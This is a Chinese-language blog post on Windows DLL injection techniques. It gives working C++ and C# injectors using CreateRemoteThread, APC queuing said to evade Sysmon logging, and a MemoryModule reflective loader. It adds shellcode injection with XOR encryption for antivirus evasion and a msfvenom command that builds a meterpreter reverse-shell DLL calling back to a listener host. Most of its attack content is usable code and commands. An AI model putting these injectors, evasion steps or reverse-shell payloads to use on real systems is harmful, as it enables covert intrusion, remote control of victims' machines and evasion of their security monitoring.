DLL injection小记

  • A+

什么是dll注入

在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。
  也正是由于进程的地址空间是独立的(保护模式),因此我们很难编写能够与其它进程通信或控制其它进程的应用程序。
  所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,因此程序B的开发者可以对程序A为所欲为。因为执行命令需要借用某些合法进程,所以一般的进程注入都要绕过AV检测。

dll注入实现过程

0.png


1.附加到目标/远程进程
2.在目标/远程进程内分配内存
3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间
4.控制进程运行DLL文件

主要用到的几个函数:

OpenProcess :

c++
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);

VirtualAllocEx:
c++
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

WriteProcessMemory:

```c++
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);

```
CreateRemoteThread:

c++
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

dll注入demo:

既然是dll注入,那么我们肯定需要一个dll,我们使用msf直接生成一个dll出来:

language
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=4444 -f dll -o inject.dll

然后手写一个dll注入器:

```c++

include<Windows.h>

include<stdio.h>

using namespace std;

int main(int argc,char * argv[]) {
HANDLE ProcessHandle;
LPVOID remotebuffer;
BOOL write;

wchar_t dllpath[] = TEXT("C:\users\root\desktop\inject.dll");

if (argc &lt; 2) {
    printf("Useage inject.exe Pid;n");
    printf("such as inject.exe 258n");
    exit(0);
}

printf("Injecting DLL to PID: %in", atoi(argv[1]));
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
if (ProcessHandle == NULL) {
    printf("OpenProcess Fail !!!");
    exit(0);
}
else
{
    printf("OpenProcess %i successful !!!n",atoi(argv[1]));
}

remotebuffer = VirtualAllocEx(ProcessHandle, NULL, sizeof dllpath, MEM_COMMIT, PAGE_READWRITE);
write = WriteProcessMemory(ProcessHandle, remotebuffer, (LPVOID)dllpath, sizeof dllpath, NULL);

if (write == 0) {
    printf("WriteProcessMemory Fail %i!!!",GetLastError());
    exit(0);
}
else
{
    printf("WriteProcessMemory  successful !!!n");
}

PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(ProcessHandle, NULL, 0, threatStartRoutineAddress, remotebuffer, 0, NULL);
CloseHandle(ProcessHandle);


return 0;

}

```

1.png

在进程监控中,也可以清楚的看到进程被注入了dll。

2.png

这样我们就实现了一个简单的dll注入的例子。CreateRemoteThread()实现dll注入,是最基础的例子,我们再来看一下其他的dll注入的方法。

demo2:

我们这次使用一个比较小众的方法来进行dll注入,NtCreateThreadEx。

因为在上面的注入方式中,我们使用了CreateRemoteThread来进行dll注入,而这个方式在具有Sysmon的系统中会留下Event ID 8的痕迹。而我们使用通过APC实现Dll注入则可以绕过这种监控。

这里有三好学生师傅的demo

```c++

include <windows.h>

include <TlHelp32.h>

include <vector>

using std::vector;

bool FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids) {
auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return false;
pid = 0;
PROCESSENTRY32 pe = { sizeof(pe) };
if (::Process32First(hSnapshot, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, exeName) == 0) {
pid = pe.th32ProcessID;
THREADENTRY32 te = { sizeof(te) };
if (::Thread32First(hSnapshot, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
tids.push_back(te.th32ThreadID);
}
} while (::Thread32Next(hSnapshot, &te));
}
break;
}
} while (::Process32Next(hSnapshot, &pe));
}
::CloseHandle(hSnapshot);
return pid > 0 && !tids.empty();
}

void main()
{
DWORD pid;
vector<DWORD> tids;
if (FindProcess(L"calc.exe", pid, tids))
{
printf("OpenProcessn");
HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
printf("VirtualAllocExn");
auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
wchar_t buffer[] = L"c:testtestdll.dll";
printf("WriteProcessMemoryn");
::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr);
for (const auto& tid : tids)
{
printf("OpenThreadn");
HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
if (hThread)
{
printf("GetProcAddressn");
::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p);

}
}
printf("VirtualFreeExn");
::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
}
}
```
而且还有了C#版本,这里就不再赘述了。

反射型dll注入:

反射DLL注入可以将加密的DLL保存在磁盘(或者以其他形式如shellcode等),之后将其解密放在内存中。之后跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL写入目标进程。因为没有使用LoadLibrary函数,要想实现DLL的加载运行,我们需要在DLL中添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是加载自身。

反射DLL注入实现起来其实十分复杂,需要对PE加载十分了解。通过编写ReflectiveLoader找到DLL文件在内存中的地址,分配装载DLL的空间,并计算 DLL 中用于执行反射加载的导出的内存偏移量,然后通过偏移地址作为入口调用 CreateRemoteThread函数执行。

msf已经有了相应的模块:

language
windows/manage/reflective_dll_inject

3.png

cs中也可以使用bdllspawn来加载dll实现同样的效果。

我们也可以手动使用MemoryModule来实现

  1. 将要加载的PE文件读入内存
  2. 初始化MemoryModule句柄
  3. 装载内存
  4. 获得导出函数地址
  5. 执行导出函数
  6. 释放MemoryModule句柄

代码如下:

```c++

define WIN32_LEAN_AND_MEAN

include <windows.h>

include <stdio.h>

include <malloc.h>

include "MemoryModule.h"

typedef int (*addNumberProc)(int, int);

define DLL_FILE "C:usersrootdesktopreflective_dll.x64.dll"

void LoadFromFile(void)
{
addNumberProc addNumber;
HINSTANCE handle = LoadLibrary((LPCWSTR)DLL_FILE);
if (handle == NULL)
return;

addNumber = (addNumberProc)GetProcAddress(handle, "addNumbers");
printf("From file: %dn", addNumber(1, 2));
FreeLibrary(handle);

}

void LoadFromMemory(void)
{
FILE fp;
unsigned char
data=NULL;
size_t size;
HMEMORYMODULE module;
addNumberProc addNumber;

fp = fopen(DLL_FILE, "rb");
if (fp == NULL)
{
    printf("Can't open DLL file "%s".", DLL_FILE);
    goto exit;
}

fseek(fp, 0, SEEK_END);
size = ftell(fp);
data = (unsigned char *)malloc(size);
fseek(fp, 0, SEEK_SET);
fread(data, 1, size, fp);
fclose(fp);


module = MemoryLoadLibrary(data);
if (module == NULL)
{
    printf("Can't load library from memory.n");
    goto exit;
}

addNumber = (addNumberProc)MemoryGetProcAddress(module, "addNumbers");
printf("From memory: %dn", addNumber(1, 2));
MemoryFreeLibrary(module);

exit:
if (data)
free(data);
}

int main(int argc, char* argv[])
{
LoadFromFile();
printf("nn");
LoadFromMemory();
return 0;
}
```

4.png

dll注入利用

反射型DLL注入免杀

这里使用c#来实现。

首先声明api:

```c#
[DllImport("kernel32.dll")]
static extern HANDLE OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll")]
static extern HMODULE GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(HMODULE hModule, string lpProcName);
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAllocEx(HANDLE hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(HANDLE hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(HANDLE hProcess,IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
// privileges used for OpenProcess
protected const uint PROCESS_ALL_ACCESS = PROCESS_CREATE_PROCESS | PROCESS_CREATE_THREAD |
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION |
PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_SET_INFORMATION |
PROCESS_SET_QUOTA | PROCESS_SUSPEND_RESUME | PROCESS_TERMINATE |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | SYNCHRONIZE;
protected const uint PROCESS_CREATE_PROCESS = 0x80;
protected const uint PROCESS_CREATE_THREAD = 0x2;
protected const uint PROCESS_DUP_HANDLE = 0x40;
protected const uint PROCESS_QUERY_INFORMATION = 0x400;
protected const uint PROCESS_QUERY_LIMITED_INFORMATION = 0x1000;
protected const uint PROCESS_SET_INFORMATION = 0x200;
protected const uint PROCESS_SET_QUOTA = 0x100;
protected const uint PROCESS_SUSPEND_RESUME = 0x800;
protected const uint PROCESS_TERMINATE = 0x1;
protected const uint PROCESS_VM_OPERATION = 0x8;
protected const uint PROCESS_VM_READ = 0x10;
protected const uint PROCESS_VM_WRITE = 0x20;
protected const uint SYNCHRONIZE = 0x100000;

    // used for VirtualAllocEx
    const uint MEM_COMMIT = 0x00001000;
    const uint MEM_RESERVE = 0x00002000;
    const uint PAGE_READWRITE = 4;

```
然后可以使用下面的方式来实现dll注入:

```c#
public static void ReflectiveDLLInject(int targetId, byte[] shellcode)
{
try
{
IntPtr lpNumberOfBytesWritten = IntPtr.Zero;
IntPtr lpThreadId = IntPtr.Zero;

            IntPtr procHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)targetId);
            Console.WriteLine($"[+] Getting the handle for the target process: {procHandle}.");
            IntPtr remoteAddr = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
            Console.WriteLine($"[+] Allocating memory in the remote process {remoteAddr}.");
            Console.WriteLine($"[+] Writing shellcode at the allocated memory location.");
            if (WriteProcessMemory(procHandle, remoteAddr, shellcode, (uint)shellcode.Length, out lpNumberOfBytesWritten))
            {
                Console.WriteLine($"[+] Shellcode written in the remote process.");
                CreateRemoteThread(procHandle, IntPtr.Zero, 0, remoteAddr, IntPtr.Zero, 0, out lpThreadId);
            }
            else
            {
                Console.WriteLine($"[+] Failed to inject shellcode.");
            }

        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.Message);
        }

    }

```

然后将payload进行加密,再在主程序内还原即可。

c#
public static byte[] xor(byte[] input)
{
char[] key = { 'x', 'x', };
byte[] output = new byte[input.Length];
for (int i = 0; i &lt; input.Length; i++)
{
output[i] = (byte)(input[i] ^ key[i % key.Length]);
}
return output;
}

然后在调用函数执行即可,不过DLL加密后的shellcode都会特别长,不适合命令行输入,命令行只支持8000+字符的输入,可以考虑分离免杀的方式来进行执行。

反射DLL与MSF联动

倾璇师傅提出的思路,膜拜。

5.png

进程中也看不到明显的dll注入

6.png

参考文章:

https://www.cnblogs.com/wf751620780/p/10730013.html
https://payloads.online/archivers/2020-01-02/1
https://rootrain.me/2020/02/29/%E4%BD%BF%E7%94%A8.NET%E5%AE%9E%E7%8E%B0DLL%E6%B3%A8%E5%85%A5%E6%8A%80%E6%9C%AF/
https://ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
https://ired.team/offensive-security/code-injection-process-injection/dll-injection
https://www.t00ls.net/viewthread.php?tid=51601&highlight=DLL%E6%B3%A8%E5%85%A5
https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/
https://github.com/stephenfewer/ReflectiveDLLInjection
https://www.cnblogs.com/uAreKongqi/p/6012353.html

相关推荐: 如何在Node.js中逃逸vm沙箱

vm基本用法 vm模块可在V8虚拟机上下文中编译和运行nodejs代码。按照官方文档的说法,vm不是一个安全的机制,并不适合用来运行不受信任的代码。 vm的一个常见用法是做上下文隔离: ```javascript const vm = require('vm'…